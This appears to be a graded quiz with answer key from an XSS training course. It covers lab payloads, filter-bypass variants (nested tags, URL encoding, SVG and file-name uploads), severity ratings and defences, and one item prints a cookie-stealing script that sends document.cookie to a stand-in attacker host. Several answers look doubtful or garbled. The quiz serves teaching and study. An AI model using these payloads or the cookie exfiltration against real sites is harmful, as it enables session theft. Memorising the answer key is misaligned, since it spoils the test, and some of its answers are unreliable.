✓ What was the payload for the lab "Let's Do IT!" * 1 / 1

- "><script>alert(1)</script>
- <script>alert(1)</script>"<
- <script>alert(1)</script> ✓
- ><script>alert(1)</script>

Add individual feedback

✓ What was the payload for the lab "Balancing is Important in Life!" * 1 / 1

- "><script>alert(1)</script> ✓
- </script><script>alert(1)</script>
- "><script>alert(1)<script>
- "><script>alErt(1)</script>

Add individual feedback

✓ What was the payload for the lab "XSS is everywhere!" * 1 / 1

"><script>alert(1)</script>@gmail.com ✓

<script>alert(1)</script>@gmail.com

</script><script>alert(1)</script>@gmail.com

"><script>alert(1)</script>

Add individual feedback

✓ What was the payload for the lab "Alternatives are must!" * 1 / 1

"><script>confirm(1)</script>

"><script>prompt(1)</script>

"><script>alert(1)</script>

Both A and B ✓

Add individual feedback

✓ What was the payload for the lab "Developer hates scripts!" * 1 / 1

<img src=x onerror=alert(1)>

"><img src=x onerror=alert(1)> ✓

<img src=x onerror=prompt(1)>

<img src=x onerror=confirm(1)>

Add individual feedback

✓ What was the payload for the lab "Change the Variation!" * 1 / 1

"><scr<script>ipt>alert(1)</scr</script>

<scr<script>ipt>alert(1)</scr</script>ipt>thentication

"><scr<script>ipt>alert(1)</scr</script>ipt> ✓

<script>ipt>alert(1)</scr</script>

Add individual feedback

✓ What was the payload for the lab "Encoding is the key?" * 1 / 1

%3Cscript%3Ealert%281%29%3C%2F

%3Cscript%3Ealert%281%29%3C%2Fscript%3E ✓

script%3Ealert%281%29%3C%2Fscript

None of the above

Add individual feedback

✓ What was the payload for the lab "XSS with File Upload (file name)" * 1 / 1

<img src=x onerror=alert('XSS')>.png in file name ✓

<img src=x onerror=alert('XSS')>.png in file content

"><img src=x onerror=alert('XSS')>.png in file name

"><img src=x onerror=alert('XSS')>.png in file content

Add individual feedback

✓ What was the payload for the lab "XSS with File Upload (File Content)" * 1 / 1

- (•) SVG file with <script>alert(document.domain)</script> as payload ✓
- ( ) PNG file with <script>alert(document.domain)</script> as payload
- ( ) HTML file with <script>alert(document.domain)</script>
- ( ) CSS file with <script>alert(document.domain)</script>

Add individual feedback

✓ What was the payload for the lab "Stored Everywhere!" * 1 / 1

- (•) "/><script>confirm(1)</script> ✓
- ( ) <script>confirm(1)</script>
- ( ) "><script>confirm(1)</script>
- ( ) </script><script>confirm(1)</script>

Add individual feedback

✓ What was the payload for Document Sink for the lab "DOM's are love!" * 1 / 1

- ( ) <script>alert(1)</script>
- (•) <img src=x onerror=alert(1)> ✓
- ( ) "><script>alert(1)</script>
- ( ) "><img src=x onerror=alert(1)>

Add individual feedback

✓ What was the payload for Location Sink for the lab "DOM's are love!" * 1 / 1

- ( ) script:alert(1)
- (•) javascript:alert(1) ✓
- ( ) "><img src=x onerror=alert(1)>
- ( ) <script>alert(1)</script>

Add individual feedback

✓ What was the payload for Execution Sink for the lab "DOM's are love!" * 1 / 1

- ( ) javascript:alert(1)
- (•) alert(1) ✓
- ( ) script:alert(1)
- ( ) "><img src=x onerror=alert(1)>

Add individual feedback

✓ The severity of Reflected XSS is * 1 / 1

- ( ) P5
- ( ) P4
- (•) P3 ✓

P2

Add individual feedback

✓ The severity of Stored XSS is * 1 / 1

- [x] P2 ✓
- [ ] P5
- [ ] P3
- [ ] P1

Add individual feedback

✓ The severity of DOM XSS is * 1 / 1

- [ ] P2
- [x] P1 ✓
- [ ] P3
- [ ] P4

Add individual feedback

✓ Which if the following could give me an XSS Box * 1 / 1

- [ ] alert
- [ ] confirm
- [ ] prompt
- [x] All of the above ✓

Add individual feedback

✓ If a website blocks a simple payload what should i do: * 1 / 1

- [ ] Try double encoding the payload
- [ ] Choose a different payload
- [x] Both A and B ✓
- [ ] None of the Above

Add individual feedback

✓ Which of the following is not a type of XSS * 1 / 1

- [ ] XSS in Email Fields
- [ ] XSS on File Upload
- [ ] XSS in HTTP Headers
- [x] None of the above ✓

Add individual feedback

✓ Which of the following is not associated with XSS * 1 / 1

- [ ] Polyglots

- [x] Null Byte
- [ ] Mouse Events
- [ ] document.location.href

Add individual feedback

✓ To exploit an XSS the following must be present * 1 / 1

- [ ] Victim should not have endpoint security solution
- [x] HttpOnly flag should not be set in session cookies
- [ ] Secure flag in web app should not be set
- [ ] Victim's browser should be enabled with ActiveX Technology

Add individual feedback

✓ Which of the following languages are vulnerable to XSS? * 1 / 1

- [ ] Java
- [ ] ASP.Net
- [ ] Perl
- [x] All of the Above

Add individual feedback

✓ A web application uses WYSIWYG editor. Which method would NOT block XSS * 1 / 1

- [x] Looking for payloads like <script> and removing them
- [ ] Converting tags to HTML
- [ ] Only allowing tags which are not form of payload
- [ ] Using HTML filter library

Add individual feedback

✓ Injection of scripts * 1 / 1

- [x] Unvalidated redirects and forwards
- [ ] Injection of commands
- [ ] Injection parameters
- [ ] All of the above

Add individual feedback

✓ Which of the following languages are associated with cross-site scripting? * 1 / 1

- [ ] HTML
- [ ] JavaScript
- [ ] SQL
- [x] Both A and B

Add individual feedback

✓ Which of the following can be caused due to poor input validation? * 1 / 1

- ○ HTML Injection
- ○ SQLi
- ○ XSS
- ◉ All of the above ✓

Add individual feedback

✓ What can an attacker perform using XSS * 1 / 1

- ○ Spread Web Worms
- ○ Control Browser Remotely
- ○ Account takeover
- ◉ All of the above ✓

Add individual feedback

✓ XSS can be prevented by * 1 / 1

- ○ Input Validation
- ○ Input Sanitization
- ○ Escaping
- ◉ All of the above ✓

Add individual feedback

✓ <script>document.write("XSS"); </script> leads to * 1 / 1

- ◉ DOM XSS ✓
- ○ Reflected XSS
- ○ Stored XSS
- ○ All of the above

Add individual feedback

✓ XSS can be exploited by tampering parameters in GET request * 1 / 1

- ◉ True ✓
- ○ False
- ○ Depends on the situation
- ○ Can't say

Add individual feedback

✓ XSS can be exploited by including JavaScript in POST request * 1 / 1

- ◉ True ✓
- ○ False
- ○ Depends on the situation
- ○ Can't say

Add individual feedback

✓ Which of the following is/are true about XSS with Burp-Repeater tool? * 1 / 1

- ○ This tool checks the cross site scripting vulnerability.
- ○ This tool uses a java script syntax like code to check the vulnerability.
- ○ It is used for authentication of the web applications.
- ◉ Both A and B ✓

Add individual feedback

✓ If keyboard payloads are blocked we can still perform XSS using * 1 / 1

- ○ alert
- ◉ Mouse payloads ✓
- ○ Both A and B
- ○ No we cannot perform

Add individual feedback

✓ <script>document.location.href="attackers.website/cookie="+document.cookie< /script> is an example of * 1 / 1

- ○ XSS website takeover
- ○ XSS cookie deletion
- ◉ XSS cookie stealing ✓
- ○ None of the above

Add individual feedback

✓ What would you do in a situation where WAF is blocking your XSS payload * 1 / 1

- ○ XSS cannot be exploited
- ○ Attack WAF and take down the website
- ◉ Look for a WAF Bypass ✓
- ○ Both B and C

Add individual feedback

✓ Which of the following header ensure that browsers interpret the responses in the way intended. * 1 / 1

- ○ X-Content-Type
- ◉ X-Content-Type-Options ✓
- ○ X-Frame-Options
- ○ None of the above

Add individual feedback

✓ XSS Polyglots aree * 1 / 1

- ○ special payloads

payloads that WAF cannot interpret

Combination of 2 or more payloads ✓

All of the above

Add individual feedback

✓ A vulnerable web application uses document.getElementById. Which XSS is it vulnerabale to * 1 / 1

DOM XSS ✓

Reflected XSS

Stored XSS

Both A and B

Add individual feedback

✓ Which XSS gets stored in the server? * 1 / 1

DOM XSS

Stored XSS ✓

Reflected XSS

Both B and C

Add individual feedback

✓ Which one of the following is used as last line of defense to reduce the severity of any XSS vulnerabilities that still occur * 1 / 1

Implementing WAF

Filtering Input on arrival

Encode data on output

Implementing CSP ✓

Add individual feedback

✓ If <script> tag is removed from the search box which one of the following should be used * 1 / 1

<scr<script>ip>

<img src>

<ScRiPt>

All of the above ✓

Add individual feedback

✓ In the lab "Encoding is the key?" which encoding did we use to encode our payload * 1 / 1

Base64

URL Encoding ✓

Any of the above

None of the above

Add individual feedback

✓ What was the parameter of the Document Sink in the lab "DOM's are love!" * 1 / 1

- (●) name ✓
- ( ) coin
- ( ) doge
- ( ) redir

Add individual feedback

✓ What was the parameter of the Location Sink in the lab "DOM's are love!" * 1 / 1

- ( ) name
- ( ) coin
- ( ) doge
- (●) redir ✓

Add individual feedback

✓ What was the parameter of the Execution Sink in the lab "DOM's are love!" * 1 / 1

- (●) coin ✓
- ( ) doge
- ( ) redir
- ( ) name

Add individual feedback

✓ In the lab "Stored Everywhere!" which parameters were vulnerable * 1 / 1

- (●) fname ✓
- ( ) lnames
- ( ) email
- ( ) pwd

Add individual feedback

✓ Stored XSS * 1 / 1

- (●) Is stored in database ✓
- ( ) Is stored in Cache
- ( ) Is not stored in HTML
- ( ) Is stored in javascript

Add individual feedback

✓ DOM stands for * 1 / 1

- (●) Document object model ✓
- ( ) Document only model

- Document object mitigation
- Document organised model

Add individual feedback

✓ The best way to parse JSON in the browser is * 1 / 1

- JSON parsing plugin
- JavaScript: eval()
- **JavaScript: JSON.parse** ✓
- JavaScript: innerHTML()

Add individual feedback

✓ Which one of the following helps to mitigate XSS * 1 / 1

- Content Transport Policy
- **Content Security Policy** ✓
- Strict Content Policy
- Content Policy Security